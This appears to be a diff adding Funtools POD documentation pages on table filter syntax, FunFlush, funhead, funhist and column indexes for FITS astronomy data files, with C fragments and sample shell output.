|
||||
|
||||
B<sectioninfo> is the image section to extract
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<filters> are spatial region and table (row) filters to apply
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
See Funtools Files for more information
|
||||
on file and image section specifications.
|
||||
|
||||
B<Filter Expressions>
|
||||
|
||||
|
||||
Table filtering can be performed on columns of data in a FITS
|
||||
binary table or a raw event file. Table filtering is accomplished by
|
||||
means of B<table filter specifications>. An table filter
|
||||
specification consists of one or more B<filter expressions> Filter
|
||||
specifications also can contain comments and local/global processing
|
||||
directives.
|
||||
|
||||
|
||||
More specifically, a filter specification consist of one or more lines
|
||||
containing:
|
||||
|
||||
# comment until end of line
|
||||
# include the following file in the table descriptor
|
||||
@file
|
||||
# each row expression can contain filters separated by operators
|
||||
[filter_expression] BOOLOP [filter_expression2], ...
|
||||
# each row expression can contain filters separated by the comma operator
|
||||
[filter_expression1], [filter_expression2], ...
|
||||
# the special row# keyword allows a range of rows to be processed
|
||||
row#=m:n
|
||||
# or a single row
|
||||
row#=m
|
||||
# regions are supported -- but are described elsewhere
|
||||
[spatial_region_expression]
|
||||
|
||||
|
||||
|
||||
A single filter expression consists of an arithmetic, logical, or
|
||||
other operations involving one or more column values from a
|
||||
table. Columns can be compared to other columns, to header values,
|
||||
or to numeric constants. Standard math functions can be applied to
|
||||
columns. Separate filter expressions can be combined using boolean operators.
|
||||
Standard C semantics can be used when constructing expressions, with
|
||||
the usual precedence and associativity rules holding sway:
|
||||
|
||||
Operator Associativity
|
||||
-------- -------------
|
||||
() left to right
|
||||
!! (logical not) right to left
|
||||
! (bitwise not) - (unary minus) right to left
|
||||
* / left to right
|
||||
+ - left to right
|
||||
< <= > >= left to right
|
||||
== != left to right
|
||||
& (bitwise and) left to right
|
||||
^ (bitwise exclusive or) left to right
|
||||
| (bitwise inclusive or) left to right
|
||||
&& (logical and) left to right
|
||||
|| (logical or) left to right
|
||||
= right to left
|
||||
|
||||
For example, if energy and pha are columns in a table,
|
||||
then the following are valid expressions:
|
||||
|
||||
pha>1
|
||||
energy == pha
|
||||
(pha>1) && (energy<=2)
|
||||
max(pha,energy)>=2.5
|
||||
|
||||
|
||||
|
||||
Comparison values can be integers or floats. Integer comparison values can be
|
||||
specified in decimal, octal (using '0' as prefix), hex (using '0x' as prefix)
|
||||
or binary (using '0b' as prefix). Thus, the following all specify the same
|
||||
comparison test of a status mask:
|
||||
|
||||
(status & 15) == 8 # decimal
|
||||
(status & 017) == 010 # octal
|
||||
(status & 0xf) == 0x8 # hex
|
||||
(status & 0b1111) == 0b1000 # binary
|
||||
|
||||
|
||||
The special keyword row# allows you to process a range of rows.
|
||||
When row# is specified, the filter code skips to the designated
|
||||
row and only processes the specified number of rows. The
|
||||
"*" character can be utilized as the high limit value to denote
|
||||
processing of the remaining rows. Thus:
|
||||
|
||||
row#=100:109
|
||||
|
||||
processes 10 rows, starting with row 100 (counting from 1),
|
||||
while:
|
||||
|
||||
row#=100:*
|
||||
|
||||
specifies that all but the first 99 rows are to be processed.
|
||||
|
||||
|
||||
Spatial region filtering allows a program to select regions of an
|
||||
image or rows of a table (e.g., X-ray events) using simple geometric
|
||||
shapes and boolean combinations of shapes. For a complete description
|
||||
of regions, see Spatial Region Filtering.
|
||||
|
||||
B<Separators Also Are Operators>
|
||||
|
||||
As mentioned previously, multiple filter expressions can be specified
|
||||
in a filter descriptor, separated by commas or new-lines.
|
||||
When such a comma or new-line separator is used, the boolean AND operator
|
||||
is automatically generated in its place. Thus and expression such as:
|
||||
|
||||
pha==1,pi=2:4
|
||||
|
||||
is equivalent to:
|
||||
|
||||
(pha==1) && (pi>=2&&pi<=4)
|
||||
|
||||
|
||||
[Note that the behavior of separators is different for filter expressions
|
||||
and spatial region expressions. The former uses AND as the operator, while
|
||||
the latter user OR. See
|
||||
Combining Region and Table Filters
|
||||
for more information about these conventions and how they are treated
|
||||
when combined.]
|
||||
|
||||
B<Range Lists>
|
||||
|
||||
Aside from the standard C syntax, filter expressions can make use of
|
||||
IRAF-style B<range lists> which specify a range of values. The
|
||||
syntax requires that the column name be followed by an '=' sign, which
|
||||
is followed by one or more comma-delimited range expressions of the form:
|
||||
|
||||
col = vv # col == vv in range
|
||||
col = :vv # col <= vv in range
|
||||
col = vv: # col >= vv in range
|
||||
col = vv1:vv2 # vv1 <= col <= vv2 in range
|
||||
|
||||
The vv's above must be numeric constants; the right hand side of a
|
||||
range list cannot contain a column name or header value.
|
||||
|
||||
Note that, unlike an ordinary comma separator, the comma separator used
|
||||
between two or more range expressions denotes OR. Thus, when two or
|
||||
more range expressions are combined with a comma separator, the resulting
|
||||
expression is a shortcut for more complicated boolean logic. For example:
|
||||
|
||||
col = :3,6:8,10:
|
||||
|
||||
is equivalent to:
|
||||
|
||||
(col=6 && col =10)
|
||||
|
||||
Note also that the single-valued rangelist:
|
||||
|
||||
col = val
|
||||
|
||||
is equivalent to the C-based filter expression:
|
||||
|
||||
col == val
|
||||
|
||||
assuming, of course, that val is a numeric constant.
|
||||
|
||||
B<Math Operations and Functions>
|
||||
|
||||
It is permissible to specify C math functions as part of the filter syntax.
|
||||
When the filter parser recognizes a function call, it automatically
|
||||
includes the math.h and links in the C math library. Thus, it is
|
||||
possible to filter rows by expressions such as these:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
(pi+pha)>(2+log(pi)-pha)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
min(pi,pha)*14>x
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
max(pi,pha)==(pi+1)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
feq(pi,pha)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
div(pi,pha)>0
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
The function feq(a,b) returns true (1) if the difference between a and b
|
||||
(taken as double precision values) is less than approximately 10E-15.
|
||||
The function div(a,b) divides a by b, but returns NaN (not a number)
|
||||
if b is 0. It is a safe way to avoid floating point errors when
|
||||
dividing one column by another.
|
||||
|
||||
B<Include Files>
|
||||
|
||||
The special B<@filename> directive specifies an include file
|
||||
containing filter expressions. This file is processed as part of
|
||||
the overall filter descriptor:
|
||||
|
||||
foo.fits[pha==1,@foo]
|
||||
|
||||
|
||||
B<Header Parameters>
|
||||
|
||||
The filter syntax supports comparison between a column value and a
|
||||
header parameter value of a FITS binary tables (raw event files have no
|
||||
such header). The header parameters can be taken from the binary
|
||||
table header or the primary header. For example, assuming there is a
|
||||
header value MEAN_PHA in one of these headers, you can select photons
|
||||
having exactly this value using:
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pha==MEAN_PHA
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Table filtering is more easily described by means of examples.
|
||||
Consider data containing the following table structure:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
double TIME
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
int X
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
int Y
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
short PI
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
short PHA
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
int DX
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
int DY
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
Tables can be filtered on these columns using IRAF/QPOE range syntax or
|
||||
any valid C syntax. The following examples illustrate the possibilities:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pha=10
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pha==10
|
||||
|
||||
|
||||
select rows whose pha value is exactly 10
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pha=10:50
|
||||
|
||||
|
||||
select rows whose pha value is in the range of 10 to 50
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pha=10:50,100
|
||||
|
||||
|
||||
select rows whose pha value is in the range of 10 to 50 or is
|
||||
equal to 100
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pha>=10 && pha<=50
|
||||
|
||||
|
||||
select rows whose pha value is in the range of 10 to 50
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pi=1,2&&pha>3
|
||||
|
||||
|
||||
select rows whose pha value is 1 or 2 and whose pi value is 3
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pi=1,2 || pha>3
|
||||
|
||||
|
||||
select rows whose pha value is 1 or 2 or whose pi value is 3
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pha==pi+1
|
||||
|
||||
|
||||
select rows whose pha value is 1 less than the pi value
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
(pha==pi+1) && (time>50000.0)
|
||||
|
||||
|
||||
select rows whose pha value is 1 less than the pi value
|
||||
and whose time value is greater than 50000
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
(pi+pha)>20
|
||||
|
||||
|
||||
select rows in which the sum of the pi and pha values is greater
|
||||
than 20
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
pi%2==1
|
||||
|
||||
|
||||
select rows in which the pi value is odd
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
Currently, integer range list limits cannot be specified in binary
|
||||
notation (use decimal, hex, or octal instead). Please contact us if
|
||||
this is a problem.
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,107 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunFlush - flush data to output file>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
void FunFlush(Fun fun, char *plist)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunFlush> routine will flush data to a FITS output file. In
|
||||
particular, it can be called after all rows have been written (using
|
||||
the FunTableRowPut() routine)
|
||||
in order to add the null padding that is required to complete a FITS
|
||||
block. It also should be called after completely writing an image using
|
||||
FunImagePut() or after writing
|
||||
the final row of an image using
|
||||
FunTableRowPut().
|
||||
|
||||
|
||||
The B<plist> (i.e., parameter list) argument is a string
|
||||
containing one or more comma-delimited B<keyword=value>
|
||||
parameters. If the plist string contains the parameter
|
||||
"copy=remainder" and the file was opened with a reference file, which,
|
||||
in turn, was opened for extension copying (i.e. the input
|
||||
FunOpen() mode also was "c" or "C"),
|
||||
then FunFlush also will copy the remainder of the FITS extensions from
|
||||
the input reference file to the output file. This normally would be
|
||||
done only at the end of processing.
|
||||
|
||||
|
||||
Note that FunFlush() is called
|
||||
with "copy=remainder" in the mode string by FunClose(). This means
|
||||
that if you close the output file before the reference input file, it
|
||||
is not necessary to call
|
||||
FunFlush() explicitly, unless you
|
||||
are writing more than one extension. See the
|
||||
evmerge example code. However, it is safe to
|
||||
call FunFlush() more than once
|
||||
without fear of re-writing either the padding or the copied
|
||||
extensions.
|
||||
|
||||
|
||||
In addition, if FunFlush() is
|
||||
called on an output file with the plist set to "copy=reference" and if
|
||||
the file was opened with a reference file, the reference extension is
|
||||
written to the output file. This mechanism provides a simple way to
|
||||
copy input extensions to an output file without processing the former.
|
||||
For example, in the code fragment below, an input extension is set to
|
||||
be the reference file for a newly opened output extension. If that
|
||||
reference extension is not a binary table, it is written to the output
|
||||
file:
|
||||
|
||||
/* process each input extension in turn */
|
||||
for(ext=0; ;ext++){
|
||||
/* get new extension name */
|
||||
sprintf(tbuf, "%s[%d]", argv[1], ext);
|
||||
/* open input extension -- if we cannot open it, we are done */
|
||||
if( !(ifun=FunOpen(tbuf, "r", NULL)) )
|
||||
break;
|
||||
/* make the new extension the reference handle for the output file */
|
||||
FunInfoPut(ofun, FUN_IFUN, &ifun, 0);
|
||||
/* if its not a binary table, just write it out */
|
||||
if( !(s=FunParamGets(ifun, "XTENSION", 0, NULL, &got)) ||
|
||||
strcmp(s, "BINTABLE")){
|
||||
if( s ) free(s);
|
||||
FunFlush(ofun, "copy=reference");
|
||||
FunClose(ifun);
|
||||
continue;
|
||||
}
|
||||
else{
|
||||
/* process binary table */
|
||||
....
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,218 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funhead - display a header in a Funtools file>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funhead [-a] [-s] [-t] [-L] <iname> [oname ename]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-a # display all extension headers
|
||||
-s # display 79 chars instead of 80 before the new-line
|
||||
-t # prepend data type char to each line of output
|
||||
-L # output in rdb/starbase list format
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funhead> displays the FITS header parameters in the specified
|
||||
FITS Extension.
|
||||
|
||||
The first argument to the program specifies the Funtools input file
|
||||
to display. If "stdin" is specified, data are read from
|
||||
the standard input. Funtools Bracket
|
||||
Notation is used to specify particular FITS extension to process.
|
||||
Normally, the full 80 characters of each header card is output,
|
||||
followed by a new-line.
|
||||
|
||||
|
||||
If the B<-a> switch is specified, the header from each FITS
|
||||
extensions in the file is displayed. Note, however, that the B<-a>
|
||||
switch does not work with FITS files input via stdin. We hope to
|
||||
remove this restriction in a future release.
|
||||
|
||||
|
||||
If the B<-s> switch is specified, only 79 characters are output
|
||||
before the new-line. This helps the display on 80 character terminals.
|
||||
|
||||
|
||||
If the B<-t> switch is specified, the data type of the parameter
|
||||
is output as a one character prefix, followed by 77 characters of the
|
||||
param. The parameter data types are defined as: FUN_PAR_UNKNOWN
|
||||
('u'), FUN_PAR_COMMENT ('c'), FUN_PAR_LOGICAL ('l'), FUN_PAR_INTEGER
|
||||
('i'), FUN_PAR_STRING ('s'), FUN_PAR_REAL ('r'), FUN_PAR_COMPLEX ('x').
|
||||
|
||||
|
||||
If the B<-L> (rdb table) switch is used, the output will conform
|
||||
to starbase/rdb data base list format.
|
||||
|
||||
|
||||
For example to display the EVENTS extension (binary table):
|
||||
|
||||
[sh] funhead "foo.fits[EVENTS]"
|
||||
XTENSION= 'BINTABLE' / FITS 3D BINARY TABLE
|
||||
BITPIX = 8 / Binary data
|
||||
NAXIS = 2 / Table is a matrix
|
||||
NAXIS1 = 20 / Width of table in bytes
|
||||
NAXIS2 = 30760 / Number of entries in table
|
||||
PCOUNT = 0 / Random parameter count
|
||||
GCOUNT = 1 / Group count
|
||||
TFIELDS = 7 / Number of fields in each row
|
||||
EXTNAME = 'EVENTS ' / Table name
|
||||
EXTVER = 1 / Version number of table
|
||||
TFORM1 = '1I ' / Data type for field
|
||||
TTYPE1 = 'X ' / Label for field
|
||||
TUNIT1 = ' ' / Physical units for field
|
||||
TFORM2 = '1I ' / Data type for field
|
||||
etc. ...
|
||||
END
|
||||
|
||||
|
||||
|
||||
To display the third header:
|
||||
|
||||
[sh] funhead "foo.fits[3]"
|
||||
XTENSION= 'BINTABLE' / FITS 3D BINARY TABLE
|
||||
BITPIX = 8 / Binary data
|
||||
NAXIS = 2 / Table is a matrix
|
||||
NAXIS1 = 32 / Width of table in bytes
|
||||
NAXIS2 = 40 / Number of entries in table
|
||||
PCOUNT = 0 / Random parameter count
|
||||
GCOUNT = 1 / Group count
|
||||
TFIELDS = 7 / Number of fields in each row
|
||||
EXTNAME = 'TGR ' / Table name
|
||||
EXTVER = 1 / Version number of table
|
||||
TFORM1 = '1D ' / Data type for field
|
||||
etc. ...
|
||||
END
|
||||
|
||||
|
||||
|
||||
To display the primary header (i.e., extension 0):
|
||||
|
||||
sh> funhead "coma.fits[0]"
|
||||
SIMPLE = T /STANDARD FITS FORMAT
|
||||
BITPIX = 16 /2-BYTE TWOS-COMPL INTEGER
|
||||
NAXIS = 2 /NUMBER OF AXES
|
||||
NAXIS1 = 800 /
|
||||
NAXIS2 = 800 /
|
||||
DATATYPE= 'INTEGER*2' /SHORT INTEGER
|
||||
END
|
||||
|
||||
|
||||
|
||||
The funhead program also can edit (i.e. add, delete, or modify) or
|
||||
display individual headers parameters. Edit mode is signalled by the
|
||||
presence of two additional command-line arguments: output file and
|
||||
edit command file, in that order. Edit mode acts as a filter: the
|
||||
output file will contain the entire input FITS file, including other
|
||||
extensions. The edit command file can be "stdin", in which case edit
|
||||
command are read from the standard input.
|
||||
|
||||
|
||||
The edit command file contains parameter comments (having '#' in the
|
||||
first column) and delete and assignment(modify or add) operations. A
|
||||
delete operation is specified by preceding the parameter name with a
|
||||
minus sign "-". A display operation (very useful in interactive
|
||||
sessions, i.e., where the edit commands are taken from stdin) is
|
||||
specified by preceding the parameter name with a question mark "?". In
|
||||
either case, a parameter value need not be specified. An assignment
|
||||
operation is specified in the same two ways that a parameter is
|
||||
specified in a text header (but without the comment character that
|
||||
precedes header params), i.e.:
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FITS-style comments have an equal sign "=" between the keyword and
|
||||
value and an optional slash "/" to signify a comment. The strict FITS
|
||||
rules on column positions are not enforced.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Free-form comments can have an optional colon separator between the
|
||||
keyword and value. In the absence of quote, all tokens after the
|
||||
keyword are part of the value, i.e. no comment is allowed.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
For example, the following interactive session checks for the
|
||||
existence of parameters, adds new parameters, modifies them, and
|
||||
modifies and deletes existing parameters:
|
||||
|
||||
sh$ ./funhead snr.ev foo.fits -
|
||||
# look for FOO1
|
||||
? FOO1
|
||||
WARNING: FOO1 not found
|
||||
# add new foo1
|
||||
FOO1 = 100
|
||||
# add foo2
|
||||
FOO2 = 200
|
||||
# reset foo1 to a different value
|
||||
FOO1 -1
|
||||
# delete foo2
|
||||
-FOO2
|
||||
# change existing value
|
||||
EXTVER 2
|
||||
? XS-SORT
|
||||
XS-SORT = 'EOF ' / type of event sort
|
||||
# delete existing value
|
||||
-XS-SORT
|
||||
# exit
|
||||
^D
|
||||
|
||||
|
||||
|
||||
See Column-based Text Files
|
||||
for more information about header parameter format.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,252 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funhist - create a 1D histogram of a column (from a FITS binary table or raw event file) or an image>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funhist [-n|-w|-T] <iname> [column] [[lo:hi:]bins]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-n # normalize bin value by the width of each bin
|
||||
-w # specify bin width instead of number of bins in arg3
|
||||
-T # output in rdb/starbase format (tab separators)
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funhist> creates a one-dimensional histogram from the specified
|
||||
columns of a FITS Extension
|
||||
binary table of a FITS file (or from a non-FITS raw event file), or
|
||||
from a FITS image or array, and writes that histogram as an ASCII
|
||||
table. Alternatively, the program can perform a 1D projection of one
|
||||
of the image axes.
|
||||
|
||||
|
||||
The first argument to the program is required, and specifies the
|
||||
Funtools file: FITS table or image, raw event file, or array. If
|
||||
"stdin" is specified, data are read from the standard input. Use
|
||||
Funtools Bracket Notation to specify FITS
|
||||
extensions, and filters.
|
||||
|
||||
|
||||
For a table, the second argument also is required. It specifies the
|
||||
column to use in generating the histogram. If the data file is of
|
||||
type image (or array), the column is optional: if "x" (or "X"), "y"
|
||||
(or "Y") is specified, then a projection is performed over the x
|
||||
(dim1) or y (dim2) axes, respectively. (That is, this projection will
|
||||
give the same results as a histogram performed on a table containing
|
||||
the equivalent x,y event rows.) If no column name is specified or
|
||||
"xy" (or "XY") is specified for the image, then a histogram is
|
||||
performed on the values contained in the image pixels.
|
||||
|
||||
|
||||
The argument that follows is optional and specifies the number of bins
|
||||
to use in creating the histogram and, if desired, the range of bin
|
||||
values. For image and table histograms, the range should specify the
|
||||
min and max data values. For image histograms on the x and y axes,
|
||||
the range should specify the min and max image bin values. If this
|
||||
argument is omitted, the number of output bins for a table is
|
||||
calculated either from the TLMIN/TLMAX headers values (if these exist
|
||||
in the table FITS header for the specified column) or by going through
|
||||
the data to calculate the min and max value. For an image, the number
|
||||
of output bins is calculated either from the DATAMIN/DATAMAX header
|
||||
values, or by going through the data to calculate min and max value.
|
||||
(Note that this latter calculation might fail if the image cannot be
|
||||
fit in memory.) If the data are floating point (table or image) and
|
||||
the number of bins is not specified, an arbitrary default of 128 is
|
||||
used.
|
||||
|
||||
|
||||
For binary table processing, the B<-w> (bin width) switch can be used
|
||||
to specify the width of each bin rather than the number of bins. Thus:
|
||||
|
||||
funhist test.ev pha 1:100:5
|
||||
|
||||
means that 5 bins of width 20 are used in the histogram, while:
|
||||
|
||||
funhist -w test.ev pha 1:100:5
|
||||
|
||||
means that 20 bins of width 5 are used in the histogram.
|
||||
|
||||
|
||||
The data are divvied up into the specified number of bins and the
|
||||
resulting 1D histogram (or projection) is output in ASCII table
|
||||
format. For a table, the output displays the low_edge (inclusive) and
|
||||
hi_edge (exclusive) values for the data. For example, a 15-row table
|
||||
containing a "pha" column whose values range from -7.5 to 7.5
|
||||
can be processed thus:
|
||||
|
||||
|
||||
[sh] funhist test.ev pha
|
||||
# data file: /home/eric/data/test.ev
|
||||
# column: pha
|
||||
# min,max,bins: -7.5 7.5 15
|
||||
|
||||
bin value lo_edge hi_edge
|
||||
------ --------- --------------------- ---------------------
|
||||
1 22 -7.50000000 -6.50000000
|
||||
2 21 -6.50000000 -5.50000000
|
||||
3 20 -5.50000000 -4.50000000
|
||||
4 19 -4.50000000 -3.50000000
|
||||
5 18 -3.50000000 -2.50000000
|
||||
6 17 -2.50000000 -1.50000000
|
||||
7 16 -1.50000000 -0.50000000
|
||||
8 30 -0.50000000 0.50000000
|
||||
9 16 0.50000000 1.50000000
|
||||
10 17 1.50000000 2.50000000
|
||||
11 18 2.50000000 3.50000000
|
||||
12 19 3.50000000 4.50000000
|
||||
13 20 4.50000000 5.50000000
|
||||
14 21 5.50000000 6.50000000
|
||||
15 22 6.50000000 7.50000000
|
||||
|
||||
[sh] funhist test.ev pha 1:6
|
||||
# data file: /home/eric/data/test.ev
|
||||
# column: pha
|
||||
# min,max,bins: 0.5 6.5 6
|
||||
|
||||
bin value lo_edge hi_edge
|
||||
------ --------- --------------------- ---------------------
|
||||
1 16 0.50000000 1.50000000
|
||||
2 17 1.50000000 2.50000000
|
||||
3 18 2.50000000 3.50000000
|
||||
4 19 3.50000000 4.50000000
|
||||
5 20 4.50000000 5.50000000
|
||||
6 21 5.50000000 6.50000000
|
||||
|
||||
[sh] funhist test.ev pha 1:6:3
|
||||
# data file: /home/eric/data/test.ev
|
||||
# column: pha
|
||||
# min,max,bins: 0.5 6.5 3
|
||||
|
||||
bin value lo_edge hi_edge
|
||||
------ --------- --------------------- ---------------------
|
||||
1 33 0.50000000 2.50000000
|
||||
2 37 2.50000000 4.50000000
|
||||
3 41 4.50000000 6.50000000
|
||||
|
||||
|
||||
|
||||
For a table histogram, the B<-n>(normalize) switch can be used to
|
||||
normalize the bin value by the width of the bin (i.e., hi_edge-lo_edge):
|
||||
|
||||
[sh] funhist -n test.ev pha 1:6:3
|
||||
# data file: test.ev
|
||||
# column: pha
|
||||
# min,max,bins: 0.5 6.5 3
|
||||
# width normalization (val/(hi_edge-lo_edge)) is applied
|
||||
|
||||
bin value lo_edge hi_edge
|
||||
------ --------------------- --------------------- ---------------------
|
||||
1 16.50000000 0.50000000 2.50000000
|
||||
2 6.16666667 2.50000000 4.50000000
|
||||
3 4.10000000 4.50000000 6.50000000
|
||||
|
||||
This could used, for example, to produce a light curve with values
|
||||
having units of counts/second instead of counts.
|
||||
|
||||
|
||||
For an image histogram, the output displays the low and high image
|
||||
values (both inclusive) used to generate the histogram. For example,
|
||||
in the following example, 184 pixels had a value of 1, 31 had a value
|
||||
of 2, while only 2 had a value of 3,4,5,6, or 7:
|
||||
|
||||
[sh] funhist test.fits
|
||||
# data file: /home/eric/data/test.fits
|
||||
# min,max,bins: 1 7 7
|
||||
|
||||
bin value lo_val hi_val
|
||||
------ --------------------- --------------------- ---------------------
|
||||
1 184.00000000 1.00000000 1.00000000
|
||||
2 31.00000000 2.00000000 2.00000000
|
||||
3 2.00000000 3.00000000 3.00000000
|
||||
4 2.00000000 4.00000000 4.00000000
|
||||
5 2.00000000 5.00000000 5.00000000
|
||||
6 2.00000000 6.00000000 6.00000000
|
||||
7 2.00000000 7.00000000 7.00000000
|
||||
|
||||
|
||||
|
||||
For the axis projection of an image, the output displays the low and
|
||||
high image bins (both inclusive) used to generate the projection. For
|
||||
example, in the following example, 21 counts had their X bin value of
|
||||
2, etc.:
|
||||
|
||||
[sh] funhist test.fits x 2:7
|
||||
# data file: /home/eric/data/test.fits
|
||||
# column: X
|
||||
# min,max,bins: 2 7 6
|
||||
|
||||
bin value lo_bin hi_bin
|
||||
------ --------------------- --------------------- ---------------------
|
||||
1 21.00000000 2.00000000 2.00000000
|
||||
2 20.00000000 3.00000000 3.00000000
|
||||
3 19.00000000 4.00000000 4.00000000
|
||||
4 18.00000000 5.00000000 5.00000000
|
||||
5 17.00000000 6.00000000 6.00000000
|
||||
6 16.00000000 7.00000000 7.00000000
|
||||
|
||||
[sh] funhist test.fits x 2:7:2
|
||||
# data file: /home/eric/data/test.fits
|
||||
# column: X
|
||||
# min,max,bins: 2 7 2
|
||||
|
||||
bin value lo_bin hi_bin
|
||||
------ --------------------- --------------------- ---------------------
|
||||
1 60.00000000 2.00000000 4.00000000
|
||||
2 51.00000000 5.00000000 7.00000000
|
||||
|
||||
|
||||
|
||||
You can use gnuplot or other plotting programs to graph the
|
||||
results, using a script such as:
|
||||
|
||||
#!/bin/sh
|
||||
sed -e '1,/---- .*/d
|
||||
/^$/,$d' | \
|
||||
awk '\
|
||||
BEGIN{print "set nokey; set title \"funhist\"; set xlabel \"bin\"; set ylabel \"counts\"; plot \"-\" with boxes"} \
|
||||
{print $3, $2, $4-$3}' | \
|
||||
gnuplot -persist - 1>/dev/null 2>&1
|
||||
|
||||
|
||||
Similar plot commands are supplied in the script B<funhist.plot>:
|
||||
|
||||
funhist test.ev pha ... | funhist.plot gnuplot
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,224 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<Funidx: Using Indexes to Filter Rows in a Table>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This document contains a summary of the user interface for
|
||||
filtering rows in binary tables with indexes.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Funtools Table Filtering allows rows in a
|
||||
table to be selected based on the values of one or more columns in the
|
||||
row. Because the actual filter code is compiled on the fly, it is very
|
||||
efficient. However, for very large files (hundreds of Mb or larger),
|
||||
evaluating the filter expression on each row can take a long time. Therefore,
|
||||
funtools supports index files for columns, which are used automatically during
|
||||
filtering to reduce dramatically the number of row evaluations performed.
|
||||
The speed increase for indexed filtering can be an order of magnitude or
|
||||
more, depending on the size of the file.
|
||||
|
||||
|
||||
The funindex program creates an
|
||||
index on one or more columns in a binary table. For example, to create an index
|
||||
for the column pi in the file huge.fits, use:
|
||||
|
||||
funindex huge.fits pi
|
||||
|
||||
This will create an index named huge_pi.idx.
|
||||
|
||||
|
||||
When a filter expression is initialized for row evaluation, funtools
|
||||
looks for an index file for each column in the filter expression. If
|
||||
found, and if the file modification date of the index file is later
|
||||
than that of the data file, then the index will be used to reduce the
|
||||
number of rows that are evaluated in the filter. When
|
||||
Spatial Region Filtering is part of the
|
||||
expression, the columns associated with the region are checked for index
|
||||
files.
|
||||
|
||||
|
||||
If an index file is not available for a given column, then in general,
|
||||
all rows must be checked when that column is part of a filter
|
||||
expression. This is not true, however, when a non-indexed column is
|
||||
part of an AND expression. In this case, only the rows that pass the
|
||||
other part of the AND expression need to be checked. Thus, in some cases,
|
||||
filtering speed can increase significantly even if all columns are not
|
||||
indexed.
|
||||
|
||||
|
||||
